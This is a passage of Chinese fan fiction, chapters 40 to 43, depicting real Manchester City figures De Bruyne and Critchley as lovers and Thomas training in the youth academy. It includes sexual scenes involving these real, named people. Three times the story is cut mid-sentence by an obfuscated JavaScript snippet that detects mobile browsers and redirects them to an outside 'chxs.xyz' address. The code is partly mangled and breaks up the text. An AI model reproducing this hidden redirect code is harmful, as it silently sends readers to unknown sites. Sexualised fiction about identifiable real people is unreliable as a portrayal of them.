托马斯小心翼翼地问他:“哥,我是不是真的给你惹麻烦了。” 克里奇利搂过他的头,亲了亲他的发顶,说:“没有,你英语说的不错,没白上培训班。” “我可是在努力学英语,噢不,重点不是这个,哥,你真的不去争取你的爱吗,我相信德布劳内会是你的幸福所在。” “你懂什么是幸福,别说了,你这样搞得我明天都没法上班了,唉。” “哥,我不希望你将来后悔。” “你还不了解我,以后我会带不同的人回来,你要是这么忙活,估计得累死。” 托马斯不说话了,他靠在头枕上睡着了。 第二天上班,克里奇利是真有点不自在,他看见大部队来餐厅就餐就跟喝了双倍意式浓缩似的心里打鼓。 不过看到大家还是跟往常一样取餐用餐氛围还挺好的也就慢慢平静下来,谁知他看德布劳内的时候正迎上他看过来的眼睛。 真的不过去说点什么?毕竟昨晚托马斯惹他不高兴了,让他花钱买气生,作为托马斯的哥哥总该说点什么,哪怕说句谢谢呢。 但是拿什么作为障眼法过去找他说话不会太引人注目呢? 正当想着,德布劳内拿着水杯走过来了。 40.第 40 章 德布劳内没理他,拿起吧台上的咖啡壶往自己的水杯里倒咖啡,克里奇利立刻上前一步,握住了他的手,说,“凯文,我来。” 德布劳内被他的手覆住,匆忙松开手,从他手掌下抽了出来,说了声谢谢。 克里奇利一边给他倒咖啡一边回应他:“应该是我说谢谢。” “我资助他,跟你没关系。” “好,你的眼光不容置疑,但多少和我有点关系吧。” “你非觉得有关系那我也没什么好说的。” 克里奇利把他的水杯盖好,递给他,他拿自己杯子的时候却抢不过来了。 他抬眼看向克里奇利,看到一双充满着孩子气的大眼睛,正眼巴巴的看着他,嘴巴也抿起来,看上去好像闯了很大的祸,让他一时不知道该怎么应对。 那眼神好像在说“求求你!” “干嘛?”他难绷笑意。 “给我个表达感谢或者歉意再或者反悔的机会吧。” “混蛋。”他说道。 克里奇利的手终于从他的杯子上挪开,然后无处安放。 “下班和我去个地方。”他说完不等克里奇利回答就拿着水杯转身离开了。 哦耶!他终于肯再给自己一次接近他的机会了,希望这次可以承接住他给的如此珍贵的一颗后悔糖。 下班后,克里奇利在他专属的休息室洗澡换衣服,兴师动众的跟要参加面试似的把自己从头到脚捯饬了一遍,站在镜子前还不太满意,头发长了,刘海都快戳进眼睛里去了,抹上去吧又太正式了,谁知道他要自己下班后陪他去哪。 压马路是不太可能,酒吧太早,洗浴桑拿派对社交他不爱,还真不知道德布劳内下班喜欢干什么,该不会是和他一样喜欢公园遛弯喂鸟吧。 十分钟后,他从俱乐部后门上了德布劳内的车。 一路气氛有些沉闷,他没话找话跟第一次见面似的,越聊越紧张,德布劳内也不怎么回应他,他只好不停的喝水掩饰尴尬,就连问他我们去哪,德布劳内都不回答他。 车子沿着大道转入乡村小路,春意盎然的嫩绿像屏风一样在车头前徐徐展开,令人稍感放松,终于在一个尖塔高耸入云的哥特式大教堂前停下了。 教堂,克里奇利的死穴。 他一下子又紧张起来,拧着眉头看向德布劳内,德布劳内开门下车和他说了这一路第一句完整的话,“下车,需要我为你开门吗?” “噢。”他双腿有些沉重的迈出车门,刚要伸个懒腰缓解一下,一看庄严肃穆的教堂就感到万分不自在的把胳膊收回来,双手插进兜里,又摸到了烟,刚想说凯文我抽个烟尿个尿你先进去,还没等说出话来就被他拉着进去了。 “最终我还是没能选对衣服。”克里奇利看着自己墨绿色的小皮夹克里面一件黑色衬衫,快要掉档的水洗灰牛仔裤,约会穿搭100分的他和面前这个老旧建筑一整个格格不入。 “嘘,别说话。”德布劳内看了看周围,这个点并没有人,也没有神父,只有旁边一个咖啡厅营业。 “喝咖啡吗?”他感觉浑身跟撒了痒痒粉似的在长椅上坐不住。 “喝什么咖啡,一会有节目,你看着就行了。” “你信基督教?” “我不信教,但我相信上帝是普爱众生的。” “什么…”克里奇利被他一本正经的说辞给逗笑,接着又被他胳膊肘怼了一下,“噢…我听着,听着呢。” “别紧张。”德布劳内轻轻倚着他。 “我不紧张,只是我在这恐怕god会紧张。” “别瞎说!” 这时教堂响起了悠扬的大提琴声,几个身着黑袍带着头巾的修女和虔诚的信徒们组成的唱诗班在排练曲目。 台下只有他们两个观众,还有咖啡厅的几个员工在休憩。 这个氛围实在是太令人拘谨了,克里奇利感到不适,因为他脑子不受控制的老是想那些莫名其妙不合时宜的画面。 那种被他称为直男每30秒,gay男每18秒就出现一次的那种动图,为了转移注意力,他看向德布劳内。 心想,他为什么要自己陪他来这里,去小酒馆喝下午酒难道不好吗,再去洗个桑拿泡个温泉,晚上回去吃个山珍炖鸡汤,晚上蹦迪到12点第二天还是美美的水光脸。 一直欣赏了三遍唱圣经,克里奇利终于按耐不住,他问德布劳内,“你想让我忏悔吗,凯文,恐怕我说了god也不听,他不接纳我,不如对你说,我真的,我……” 他对着德布劳内又说不出来追妻火葬场的话了,他那天其实也算是说了大实话,没有冒犯到他,要说抱歉不如说凯文,让我们试试行吗,但是在这种场合,就算他敢说,也不是表白的好地方,他怕他说了会引发地震。 他没说的,德布劳内替他说了。 “你愿意为了我牺牲自己,困在这种一对一的爱情关系里,把自己荒淫无度的信仰换成忠诚和守候并对未来充满希望吗?”德布劳内再次问他关于romantic relationship的话题,似乎并不因为上次他的拒绝而有什么难以启齿的回避。 克里奇利愣了一秒,对他说的那些英语单词感到钦佩,到底谁是英国人,他想,凯文真的是天赋型选手,言语精准暴击他这个高中肄业的大学渣。 “这算是gay的爱情宣言吗,凯文。” “回答我,布莱恩。” “凯文,我没法向你保证或者说我发誓,因为我还需要调教。” “真他妈是大实话啊,布莱恩,我恨你也恨不起来,因为你太直了,fuck,不是那个直。” “哈哈,谢谢你的宽容,凯文,我爱你。” 如果不是场合不合时宜,克里奇利在说完我爱你的时候就应该有所表示,两个人侧着头对望着,时间和空气仿佛都凝滞了,只有对方深深浅浅的呼吸像时令的柳絮一般拂过他们的面颊,令他们坐不住了。 “走吧,我也觉得再呆下去会发生什么倒霉的事,比如这个柱子我看着有点斜。” 德布劳内说完唰的站起来,又揪着他敞着怀的皮夹克一角,像刚进来时一样又把他拖了出去。 “等等,我得去尿尿。” 克里奇利憋了快半小时,陪着他一直听音乐听唱诗还被他堵在窗边问了像面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765875|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试一样的问题,搞得他紧张的都快冒汗了。 这天晚上,克里奇利做了四菜一汤,三个人坐在饭桌前,每个人都宣布了一个好消息。 克里奇利说:“我前30年都白活了,以前的布莱恩克里奇利死了,现在我是……” “布莱恩德布劳内?”德布劳内打断了他的话,引得托马斯爆笑,笑了一阵就笑不出来了,他哥改姓,他是不是也得改。 “凯文,sister in law(嫂子)。”托马斯还是向着他哥,也不怕德布劳内凶他。 德布劳内刚要抬手打他,克里奇利就先打了他。 “怎么了?难道你是sister啊?”托马斯一时蒙圈。 “吃你的饭。”克里奇利端起酒杯抿了一口,接着说,“让我说完,现在我是你男朋友,凯文。” 德布劳内看着他笑。 “好好好,那我也说一个好消息。”托马斯咽下一口饭,擦擦嘴,煞有介事的说,“下个月我就要参加初选,为我加油吧!希望你们的投资不会打水漂,初选就有赞助了,而我也会获得人生第一桶金。” “选上再说吧,你看你瘦的跟个猴儿似的。”克里奇利捏了捏他的胳膊,硬邦邦的都是骨头。 “嗯,你得增肌增重,明天早上8点跟我上班去。”德布劳内命令他。 “上什么班?”克里奇利替他问道。 “我想过了,托马斯现在正是塑型的好时候,还不到18岁,身体各方面还不够成熟,需要下点功夫,我动用点个人资源,你从明天开始跟着我,去曼城青训训练去,每天早上8点到9点正好是他们拉练体能上器械的时候,练完了再去打工。” “真的吗?凯文?”托马斯听了反应了一会,他要把他带进曼城训练体系去接受正规的足球领域的训练,这太不可思议了,自己小时候踢过球,后来因为没钱进社团就放弃了,现在既可以踢球健身又可以拓展自己的社交圈子,真的是太好了。 “凯文你是大好人!”托马斯搂住他脖子就亲了一口。 德布劳内被他亲的头发颤了颤,他一边擦脸一边说,“你别给我惹事就行,少干没脑子易冲动的事。” “听见没,托马斯。”克里奇利敲打他,“曼城可不是什么人都能去的,那里的训练体系非常正规,你要珍惜。” 托马斯使劲点头,恨不得立刻到明天早上。 “也不许三天打鱼两天晒网,贵在坚持,早起晚归是你该挨累的时候。”克里奇利又开始当大家长。 “好了,他能不能跟得上还不一定呢,那里虽然都是小孩,可个顶个的强壮,我担心托马斯未必能坚持下来。” “我能!相信我!” “嗯,那我也说一个好消息吧。”德布劳内搓了搓杯沿,引得他俩都瞪大眼睛等着他发布喜讯。 他说:“我底薪涨了,再加上这个月全勤奖,可以把我的游轮装修一下,到时候就可以带着老婆孩子一起去海上‘迪士尼’蹦迪吃草莓冰淇淋坐大摩托艇了。” “咳咳……”克里奇利扶额,感觉被德布劳内狠狠敲打了,现在感到血往脑子里涌,想就地拖拽他去睡觉。 41.第 41 章 晚饭还没结束,有的人已经按耐不住了,趁着自己还没喝多,便伸出手来邀请对面这个脸色红润的男人和他来一场说走就走的床旅。 德布劳内喝了一杯红酒,不知道是气氛太好还是烛光太暖,热的他想脱衣服,结果克里奇利先脱了,还向他伸出了魔爪。 本就感到热的德布劳内,被他大手覆住,顺着手臂抚上了脖颈,那人不顾旁边的小龄观众,直接起身凑过去就亲上了德布劳内的嘴。 “哇!”托马斯瞪大了眼睛,看着他们在自己面前上演基情对嘴。 克里奇利这次吻的坚定用力,生怕他跑了一般,用虎口死死地卡住他的脖子,带着倔强和一丝侵略的情绪,低头压住他的嘴唇,不容许他有半分后退。 德布劳内本来就热的出汗,被他这么一吻更是要被点着了,他也不想后退,前后都是他给的空子,就让烈火在酒精的引燃下烧的更旺吧。 随着他的力量,德布劳内也从座位上站起来,迎着他的热吻和他纠缠在一起。 慢慢的,那些矜持和压抑都随着热浪被灼烧成灰烬,只有各种角度的碰撞在迸发更猛烈的火星,让托马斯一边直呼受不了,一边瞪着大眼睛一眨不眨的看热闹。 克里奇利一手搂着德布劳内的腰,一手支开托马斯快要贴上来的脸,无情的把他隔在了那扇门外。 咔塔一声还落上了锁。 托马斯在门外起哄:“付费内容我也要看啊!!” 德布劳内嘴唇被他亲的发木,整个上半身被他结实有力的臂膀给牢牢困住,脚步也变得细碎不稳,现在想后悔都后悔不了了。 他好像自己第一次和他亲热时的那样,有一种冲破一切的勇气和太久没这么释放的狂热。 遇到他之前,自己已经不碰男人很久了,都要忘了那是一种什么感觉了,也曾明确的告诉自己,不可以再对男人抱有什么期待。 接下来克里奇利再次让他感受到碰男人和被男人碰是多么危险又刺激的事情。 克里奇利帮他把衣服拽下来,双手一推就把他推倒在身后的大床上。 高大的身影覆盖了上去。 好色,自私,霸道驱使着身上的人目的性很强的开发着手里的猎物,属于男侗的不知边界的修养在不断拓宽德布劳内的视野,让他觉得第一次着实是克里奇利让着他了。 他无论如何也起不来,抢不到A位了。指缝被他骨感的手指卡的生疼,头发也被他紧攥着一点一点的慢慢收拢。 这进攻属性拉满的绝色top从精神和力量上给了他双重压迫,让他无法撼动分毫。 这份力量来势汹汹,却也足够温柔。 在这方面,受的一方无需费劲,所有的感觉都被攻牵着鼻子走。 在克里奇利面前,尴尬和陌生通通不存在,他的操作就像手握厨师刀,游刃有余的把大鲜鱼给咔嚓了。 让德布劳内心甘情愿的成为他手里肥美的大鱼肉,还是粉色的蓝鳍金枪鱼,被他放在案板上翻过来翻过去,直到最后一道甜品端上桌,才结束这标准西餐出餐流程,然而克里奇利不是西餐厨师,他极其享受庖丁解鱼的畅快,反复体验,反复品尝。 德布劳内从未想过自己从猫变成了鱼,现在真的好像被他大卸八块,关节酸胀的躺在床上,头发湿答答的贴在脸上,要不是被他拉起来抱着进浴室,他真的想立刻昏睡过去。 洗了澡以后,他又有了点精神,他侧卧在床上,看着克里奇利事后抽烟等着身上的水珠自然干,看上去的确瘦了不少,一呼一吸肋骨都分明了,胸肌还可以,腰身更紧致精干,他忍不住一寸寸的摸上去。 “你为什么一直保持单身,像你这样的货色应该很抢手才对。”他摸着摸着突然感慨了一句。 “是很抢手,所以恭喜你。”克里奇利抽完烟,准备搂着他睡觉。 德布劳内看着他吃饱喝足后嘴角挂着一丝餍足的笑意,还艺高人胆大的呈口舌之利,就想给他一巴掌。 “老实说,你就是贪图享乐,在舞池里一个眼神就可以锁定目标,这一晚上不用费多少脑细胞,只需要朝着火辣的身体释放你的自由基就行了。” “哈哈…你看上去很不满。”克里奇利没有什么理由反驳他,因为他说的都是实话。 “你需要调教的东西太多了。”说着他就扬起手打了他一下,打了他肌肉饱满的胸肌。 “是啊,野马不好驯服,看你的本事了,Sir.” 他翻身压住他,把没干透的发梢蹭在他脸上,刚才的锐利硬朗的刀现在化作一朵云,带着一丝潮湿的触感,贴在他的肩膀上,沉沉的睡去。 第二天,托马斯早早就守在他们的房间门口,等着德布劳内带他去曼城青训营。 克里奇利醒来的时候,他俩都不见了。 他今天没有早班,10点到单位就行。这期间,托马斯已经开始了他的第一天试训。 青训营教练尼尔森是德布劳内曾经亨克的队友,也是老乡,老朋友拜托他给带带孩子也没什么,但17岁才开始踢球实在是太晚了,这东西吃基本功的。 听着他们在讨论自己,托马斯心里直打鼓,看到场上的训练感觉自己就像那个皮球一样,被踢来踢去。 场上也不都是小孩啊,还有比他高的怎么回事,他看见一个瘦高个儿在场上带着一帮小孩跑来跑去,于是指着他问道:“这不是也有大龄儿童吗,看上去可不比我小。” “那是球队队长,别看他年龄不大,在这踢6年了,今年再踢一届U19,就去一队报到了。” “噢?麦卡蒂吗?上次来过,人不够的时候。”凯文看了一眼。 这时,不知道谁把球踢到边线这来了,正好到了托马斯的脚下。 “你试试。”尼尔森和德布劳内一起对他说。 他后退了几步,卯足了劲儿,一脚抽上去,由于没穿足球鞋加上发力太足把自己给撂倒了不说,没吃准部位还把脚尖捅的生疼。 他嗷的一声躺在地上不知道该捂屁股还是脚趾头,恨不得从这草坪上挖个洞钻进去。 他开出去的球旋转着来到麦卡蒂的脚下,被他插花脚一停,接着挑起来抽到球门里去了,还冲这边喊了一声“好球!” 德布劳内把他拉起来,脸上也有些冷汗不好意思去擦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774338|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他给托马斯打圆场说:“南美的底子应该不差。”接着拉着尼尔森走到一边,小声跟他说:“说实话,你就当他是个旁听生,早上8点到9点拉体能上器械带带他就行,球技练不练无所谓,他又不吃这碗饭。” “那好说,你要是让我把他带到一队上去就是纯难为我了。” “还不知道他能坚持几天呢。” 两个人在一边把托马斯的事安排好,托马斯就站在一边看场上的小孩哥们踢球,看的他真心想冲上去,已经忘了刚才是怎么摔的屁股墩儿了。 突然那边传来哈哈大笑声。 两个人聊了这么久才发现他们说家乡话托马斯根本听不懂,还避着他跟要把他卖了似的。 就这样,托马斯加入了曼城青训队,每天早上8点到9点练体能,健身,偶尔也碰碰球。 别人不知道,以为是选进来的南美苗子,但是球技等于零,不晓得他到底有什么本事,练了几天才发现,这孩子只有一个优点,就是永不服输和跑不死。 那也不能不会停球传球啊,光在场上瞎跑吗,作为队长的麦卡蒂决定好好带带他。 麦卡蒂叫他来更衣室问他:“你怎么9点就走啊?一个小时能练出什么来?” 他说:“啊,我得打工啊,我又不是职业球员,这里能让我享受专业训练不收我费就很好了,不像你们有工资有奖金。” “你连双球鞋都没有,就算不是职业的也不能瞎胡闹啊,场地很滑,你又不会摔,受伤了怎么办?” “……” 托马斯看了一眼这个比他高半头的金发男孩,一口标准好听的英语听上去是在训他实际上语气又很轻柔,似乎对他不专业的态度表示不满。 他解释道:“我其实是来…” 还没等说完,麦卡蒂把他座位底下的一双粉色球鞋塞进他怀里,说:“试试看合适不。” “这…不行,我不能要。” “你先试试。” 这是一双彪马新款新球鞋,上面的商标还没剪,一看就很贵。 “这双我穿小了,你试试。” 在他执意劝说下,托马斯只好试了试,尺码正好,甚至比他现在穿的破板鞋都要合脚。 麦卡蒂蹲下,在他脚尖处捏了捏,然后仰起头,深蓝色的眼睛看向他,微笑着对他说:“脚丫子不小啊,和我才差半个号。” 他刚要脱下来,麦卡蒂就拉着他往球场里走,一边走一边说,“你穿上专业的足球鞋再试试呢。” “会弄脏的。” “弄脏了就归你了,省的我一次都没穿扔垃圾桶里浪费它的价值。” 托马斯对他咧嘴笑,在清晨的柔光下,白皙透亮的小脸看上去一点没经过风吹日晒,精致的五官也没有经过岁月的打磨,看上去像个文静的甜妹子,谁知穿上足球鞋后,撒开腿就跑到绿茵场上,用三天小成的足弓推球,还怪像那么回事。 麦卡蒂抱着肩在一边看,对这个插班生感到好奇的同时,还觉得有那么一点可惜,他有点踢球的天赋,怎么没早点来呢,那他现在来不打算走职业还拼命的想要跟上大部队,到底是要干嘛呢。 42.第 42 章 每个早晨,克里奇利醒来后都是他一个人在睡懒觉,桌上有托马斯给他留得煎的像线手套一样的老鸡蛋和很焦的焦糖黄油面包。 他一周只有一个早班,因为中餐和车餐他都亲力亲为,所以不能起早也是可以理解的,主要是他考虑到半夜蹦迪早上实在是起不来,就把早班放心的交给eleven负责,eleven下午接孩子正好和他错开,这样两人都高兴。 他看到厨房挂着他那白色的围裙就能想象的到托马斯系着它在厨房里手忙脚乱的样子。 托马斯早出晚归,自己匆忙吃上一口还不忘了给他留一口。 等克里奇利去上班的时候,托马斯已经上完一节训练课去便利店打工了。 德布劳内很会带孩子,早上带托马斯去上班,下班接他去培训班,还没事打听他在训练中有没有不适应或者感到自卑的地方。 尼尔森告诉他,托马斯进步很大,他现在已经不满足于上力量拉距离了,都敢在队内分组练习中去抢断拦截了,我正在考虑把他改造成一个后腰。 德布劳内震惊,说不用这么重视,他就是借读生,只要不惹事就行,你就当他小透明,不然被人说我利用私人关系占用训练资源就不好了。 尼尔森好奇他们的关系,说亲密吧还不鼓励他融入,说不亲密吧,还挺关心他的进步。 要说不好意思就不合适了,尼尔森告诉他,“凯文,也就是他年龄有点大,训练时间短,要是全职踢球的话,就凭我带徒弟的能力,不说能进一队,给二队当个替补也不是不行,到时候我还得感谢你给我送来一个好苗子呢。” 德布劳内汗颜,他也没料到自己会插手托马斯的事,现在看来他的投资眼光正在闪现威力。 德布劳内时不时的过问,让托马斯感到受宠若惊,这活脱脱的母亲形象更是让他觉得自己从18岁才开始重新做人。 克里奇利觉得是不是有点过了,到底谁才是他的再生之父。 他警告托马斯,自己的事业还是要自己打拼,不要老是觉得有人照顾就不努力了,你跟我不一样,我都30了,该享受人生了。 他这个名义上的哥哥只需要把他的游戏机充满电就行了,其余时间无非就是做一口粮食,然后自己玩自己的,健身,喝酒,看夜色,按时回家接受男德教育,他的确在享受人生,从30岁才开始的他从来都不敢想的人生。 除了比赛日客场出差外,他们每天都生活的规律又健康,搞的克里奇利感觉自己重生了,重生在一个老婆貌美如花,孩子直接十八,而且都很爱他的伊甸园之家。 但也不全是和谐有趣的,偶有争吵。 这天他下班后去超市买了些食材和酒,一回家发现他俩趴在地毯上在看他的相册。 该死的相册,明明收的很隐蔽了怎么还是被托马斯这个小混蛋给翻出来,还给德布劳内看。 那些都是他在中学和朋友们的搞怪照片还有他赚钱以后的风流韵事,虽然他记不得每一个和他约会的人,但有的会留下照片,年轻的那几年就像收集印章贴画一样,把小鲜肉们收集起来,变成爱日记。 为什么要有记日记这种陋习,将来都可能成为拷打自己的证据。 他听见德布劳内说,布莱恩那时候就像个不知廉耻的混球。 他走过去把相册从托马斯手里第二次夺回来,这次没着急合上,而是看看哪张照片惹的德布劳内说他是混球。 他看了一眼,低下头对德布劳内眨了眨眼睛,说,“没错凯文,不是像,我就是,现在也是。” 他把相册一扔,像那张照片一样,当时在学校毕业派对上从几个躺在沙发上的男孩身上跨过去,然后挑选了一个金发男孩,抓住他后脑勺的头发和他大跳蛇舞,被人拍下成为派对被禁止的big理由之一。 直到现在他还被圣马丁学校钉在耻辱柱上作为开派对前的反面教材教育后辈呢。 他对那些风流往事不感到羞耻反而有种冲破牢笼的感觉,但这感觉还没等发威就被德布劳内反握住手腕,压到沙发扶手上并狠抽了他的鼙鼓。 “记录床伴是吧?怎么最近没记录呢?” “最近的都能记住,而且洗照片容易出事。” “fuck you!”德布劳内整个人趴在他后背上,快把他腰给压断了。 “都是名人是吧?” “嗯。” 德布劳内猛地发力像叠罗汉一样狠撞了他几下。 他被从上而下的落体压迫压的哼了几声,委屈道:“我说实话你也不留情,那我告诉你,全是走肾没走心,你是不是就开心了。” 托马斯在一边看热闹又看嗨了,他说:“你俩要是这么个吵架法,我也要找男朋友了,真人show实在是太劲爆了!” “一边去!”他俩基情对战还不忘凶孩子去做作业。 “背你的稿子去!”克里奇利蛮力翻转过来又被他推倒在沙发上,双腿搭在扶手上,手里还攥着德布劳内的手腕,“明天你不是有演讲show吗?” “做你的俯卧撑去!”德布劳内挣脱开他钳制自己的大手,又抓住他的脚踝试图把他双腿分开扛在肩膀上,“明天有队内比赛,如果你不想被踢屁股的话。” 话音未落,克里奇利就把德布劳内一把拉到身上,双腿卡住他的腰身,大长胳膊圈住他的脖子,以一种被动躺平的姿势却主动热烈地亲上他的脖子和嘴唇,亲的他一会就支撑不住趴在克里奇利的身上,虽然依然保持着上位,却被他禁锢在怀里左亲右亲,想亲哪亲哪,亲到炸毛也无法挣脱开。 算了,既然选择了花心大萝卜,就要接受他的过去。 德布劳内不是gay,他只是敢碰男人,这在小小的比利时甚至算不上什么特殊xp,但偶尔尝一口鲜并不是他的价值观,要爱就往死里爱,不爱就罩上,生人勿近。 好在克里奇利现在只是嘴上花,实际行动还是围着他转的,只是不太会谈恋爱,被他说急了只会干体力活。 他教他怎么恋爱,比如累了一天坐在沙发上给他一只脚让他捏着玩,对着他吐槽傻b老板又在监工叫他们下一场必须赢,然后B席一脚致敬主席台。 说完了两人哈哈大笑。 他还教他怎么关心人。有风度,幽默,殷勤的关心自己的另一半,比如互夸。这一点克里奇利做的很好,他夸他屁股nice,脸蛋完美,特别是一头漂亮的金发在底下一颤一颤的,让人坚持不了太久。 德布劳内骂他几句离不开搞运动。 他就热烈的贴上去,撅着嘴吧亲他的脸,像一只雪地里撒欢的大狼狗,不停地嗅还伸出舌头舔,似乎要标记他或是吸取他的信息素,他的胡茬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784523|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有他每天中午都会喝的奶油咖啡的香气。 而克里奇利是一股杜松子酒和爆珠香烟的混合气息,不好说好闻不好闻,带着一些征服的味道,辛辣刺激又让人迷糊。 德布劳内也夸他,夸他有进步,起码没在自己面前再干那种和他队友眉来眼去的事。 他的确收敛了许多,但还不能拒绝主动投怀送抱的帅哥,那种雨露均沾的浪荡气质经常暴露他是属于大家的,而不是专属于某个人的。 福登热衷于每次下车都喊他一声“Mr Critchley”,然后指指他的专属能量饮料,让他塞到自己胳膊弯里。 鲁本迪亚斯动不动就呼啦他的头毛,搂着他一起去健身,和他比肌肉大小趁机揩油和贴贴。 格拉利什则是在午饭的时候让他推荐好吃的,再麻烦他给自己盛汤,喝完一碗举起手让他再来一碗,笑嘻嘻的说你亲自端过来的才最好喝。 克里奇利说烫手啊。 他说烫的又不是我,然后拿过他的手给他呼呼。 这些德布劳内都看在眼里,暗自揣测自己到底是第几个,然后回家逼问他有没有对他们下手。 他说我们圈里人有个不成文的规定,永远不要讨论过去式,也不会再吃回头草。 说完后就被德布劳内绑在床头按住头狠狠惩罚他。 其实他遵守的也不够好,先是不小心说漏了他前男友的事,又大着胆子吃了回头草,才发现自己是真的栽了,一头栽进成熟男人的温柔乡里一梦千年不想醒来。 托马斯最近也跟掉了魂一样,早上不是忘了带这就是忘了带那,但他不会忘记带那双粉色的足球鞋。 那双印着M的订制足球鞋。 他真的在短短一个月的时间而且是每天一个小时的训练中,被练成了后腰。 这怎么可能? 德布劳内不相信,尼尔森也不敢相信,他队友更是不想相信,就算是天赋型选手也不可能在毫无基础的情况下如此速成吧。 但是他真的做到了,他发现自己不是热爱选美而是热爱这项充满战斗力和挑战性的运动。 他相信自己是跑不死的机器,这一个小时的每一秒他都在奔跑,练习,对抗和高强度的上器械。 而且他根本不知道累是什么,特别是麦卡蒂给他的举重机加重量的时候,他咬着牙也要推上去,麦卡蒂看着他用力,胳膊青筋凸起,小脸憋得通红,想辅助他避免他练的过猛而拉伤,但是每次还没等触碰他,他就推上去了。 在队伍里他除了球技不扎实之外,力量耐力速度和爆发力都得到了大幅提升,但是教练安排他打后腰的时候还是遭到了一些质疑的声音。 德布劳内对他说,尼尔森既然让你练这个位置就说明你有能扛这个位置的潜力,没事看看罗德里踢球,传球的合理性和拦截的意识以及出色的射门能力,这些都是一个后腰应该具备的基本素质。 托马斯问他:“是不是罗德里在后面,你就会很放心。” 德布劳内说:“那当然了,他可是现役最出色的后腰,我认为。” 克里奇利问,什么是后腰? 两个人瞪他一眼,喊他做饭去,别掺和专业问题。 克里奇利说,不管你踢前腰还是后腰,保护好自己,特别是你那张吃饭用的脸,别让你哥哥们钱白花了! 43.第 43 章 真不会鼓励孩子。德布劳内剜了他一眼,继续和托马斯说踢球的事,让他权衡好事业和爱好,不要做什么都是一阵风。 托马斯认真的点点头,说:“我喜欢踢球,并不满足于一个小时的训练,只要有时间,我就去野球场和小孩们踢,不过我的球技确实不行,只要有人对我上身体我就会慌。” 德布劳内温柔的笑笑,眼里都是宠溺,“没办法,这个就是多练多看多上心。” 克里奇利在厨房一边掰着西兰花一边插言:“托马斯,你可真是笨呢,尼尔森才教你一个小时,这一个小时里大部分时间又是练身体,你在野球场和小孩踢又怎么会提高球技呢?” “那大哥你有什么见解?”托马斯趴在沙发上看着他等他发表什么睿智的意见。 “你眼前的这位不薅白不薅,光听他纸上谈兵就满足了?要我说,抱大腿也得找一个结实点的抱啊,凯文大腿够粗壮的。” 他挑了挑眉似笑非笑的转过身去忙活了。 “真有你的Brian,我哪有时间?” 德布劳内起身离开沙发,刚迈开腿就被托马斯一把抱住了。 “我真的太爱踢球了!”德布劳内走一步拖行他一步,“放开我,我宝贵的休息时间可不想再出一身汗。” “我给你补补,凯文。”克里奇利胳膊肘向内,往哪边都是满满的幸福。 德布劳内的确是没什么时间,他这个月全勤都要累死了,再抽出个人时间去带业余的新人确实不太现实,但口头上指导一下还是可以的。 托马斯小脑袋瓜也很聪明,没怎么学过习现在一学就像一块海绵似的吸收特别快。 他学到了就要去场上试试看。 他早上起的更早了,7点半就跑着去训练,他没有更衣橱,麦卡蒂给他找了个杂物箱,这样他就不用每天背着装备来回跑了。 他的勤奋努力大家看在眼里,但是他这个勤奋努力法也引起了队内内卷的风气,因为尼尔森总是不分时间场合训他们还不如一个业余的有上进心,本来就质疑他的来历和技术,教练总是拿一个业余水平都算不上的门外汉来敲打他们,队里一些人是不太高兴的。 这天拉练完体能,尼尔森让他们分组踢一场,为接下来的u19热身。 托马斯一般就是替补跑上几分钟,但最近尼尔森发现他竟然敢摔了,而且技术动作有点像亨克时期的凯文,步子迈的够大,上抢也足够犀利,护球还会转身了,于是让他上去打后腰。 但他第一次上场和职业球员踢球还是吃了一个大亏。 不是踢后腰吗,一堆人都不理解,光跑得快体力好就可以吗?后腰是一个技术含量很高的位置,教练这么安排难道不是打所有人的脸吗? 对手和队友都不高兴,队友给他的球又硬又飘,他拿不住被队友推出边线。 麦卡蒂和他一个队,跑过来拍拍他的头,像个大哥哥一样对他犯错十分包容,安慰他说,“不要紧,先停下来,多观察多出球。” 他应了一声,接着又迎着风跑起来。 队友们觉得他菜,不给他球权,对手们也觉得他菜,一直在过他,断他,冲撞他,穿裆羞辱他。 对面有个叫杰克逊的黑又壮,不知道是有意还是无意一脚把球闷到他脸上,他根本没有躲避的意识,生生挨了一“拳”,顿时眼冒金星倒地起不来了。 裁判吹停了比赛,除了队长麦卡蒂根本没人上前来过问,还在一边哈哈大笑,说他太业余了,这种球直接头球顶出去啊,还能用脸接。 “shame on you!”麦卡蒂凶了他们一句,“你们踢了多久了,他才踢多久,我们球队就是这种精神,嫉妒和怨恨!” 一向温文尔雅的小队长生气了! 惹队长生气可不是闹着玩的,麦卡蒂虽然下个赛季就要升队,但现在在队里还是很有话语权的,他要是不发话解散,没人敢提前下班。 